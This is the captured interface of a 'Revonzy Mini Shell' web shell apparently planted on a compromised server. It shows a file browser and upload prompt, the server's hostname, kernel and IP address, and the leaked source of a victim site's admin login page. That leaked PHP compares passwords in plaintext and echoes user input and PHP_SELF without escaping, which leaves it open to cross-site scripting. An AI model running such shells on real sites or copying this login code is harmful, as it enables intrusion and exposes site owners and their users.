Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/panel.atsevairag.com/old2/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/panel.atsevairag.com/old2/atse_admin_panel007/index.php

<?php
	require_once("../lib/class/functions.php");
	
	$db = new functions();
	
	$email_error		=	"";
	$password_error 	= 	"";
	$flag = 0;
	$year_error		=	"";
	$email		=	"";
	$year	=	"";
		
	if(isset($_POST['signin_btn']))
	{
		$email	=	$_POST['user_email'];
		$password=	$_POST['user_password'];
		$year	=	$_POST['year'];
		
		if($year=="निवडा")
		{
			$year_error	=	"वर्ष निवडा";
			$flag		=	1;
		}
		
		if($email=="")
		{
			$email_error	=	"Please enter email id";
			$flag = 1;
		}
		
		if($password=="")
		{
			$password_error	=	"Please enter password";
			$flag = 1;
		}
		
		if($flag==0)
		{
			$admin_pwd= $db->get_admin_password($email);
			
			if($admin_pwd=="")
			{
			    $password_error	=	"This admin is not valid";
			    $flag = 1;
			}
			else
			{
			    if($admin_pwd==$password)
			    {
					$_SESSION['current_admn_email']	=	$email;
					$_SESSION['current_atse_year']	=	$year;
					$_SESSION['current_login_user_type']	=	"admin";

					header("Location:/atse_admin_panel007/dashboard.php");
			    }
			    else
			    {
			        $password_error	=	"Incorrect Password";
			        $flag = 1;
			    }
			}
				
		}
	}
	

	if(isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/dashboard.php");
	}
	
	$current_page = "";
	$user_type = "admin";
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	<link rel="stylesheet" type="text/css" href="../css/stylesheet.css" />
</head>
<body>
	<?php
		require_once('../lib/header.php');
	?>
	
	<div id="middle_data_container" style="min-height:570px;">
		<form action="<?php echo $_SERVER['PHP_SELF']; ?>" name="signin_form" method="post" autocomplete="off">
		<div id="login_container">
			<h2 class="login_titles">Admin Sign In</h2>
			
			<select name="year" class="input_txt">
				<?php
				
				$year_list = array();
				
				$year_list = $db->get_all_year_info();
				
				if(!empty($year_list))
				{
				?>
				<option value="निवडा">वर्ष निवडा</option>
				<?php
						$count = 0;
						foreach($year_list as $years)
						{
							$res_id  = $year_list[$count][0];
							$res_year = $year_list[$count][1];  
							$res_date   = $year_list[$count][2];
							$res_time   = $year_list[$count][3];
				?>
				<option value="<?php echo $res_id; ?>" <?php if($year==$res_id){ ?>selected <?php } ?>><?php echo $res_year; ?></option>
				<?php
							$count++;
						}
					}	
				?>
				
				</select>
				<label class="error_indicator"><?php  echo $year_error; ?></label>
			
			<input type="text" name="user_email" class="input_txt" value="<?php echo $email; ?>" placeholder="Enter email id" />
			<label class="error_indicator"><?php  echo $email_error; ?></label>
			
			
			<input type="password" name="user_password" class="input_txt" placeholder="Enter password" />
			<label class="error_indicator"><?php  echo $password_error; ?></label>
			
			
			<input type="submit" name="signin_btn" value="Login" class="login_btn" />
			
			
		</div>
		</form>
		
		
	</div>
	
	<?php
		require_once('../lib/footer.php');
	?>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4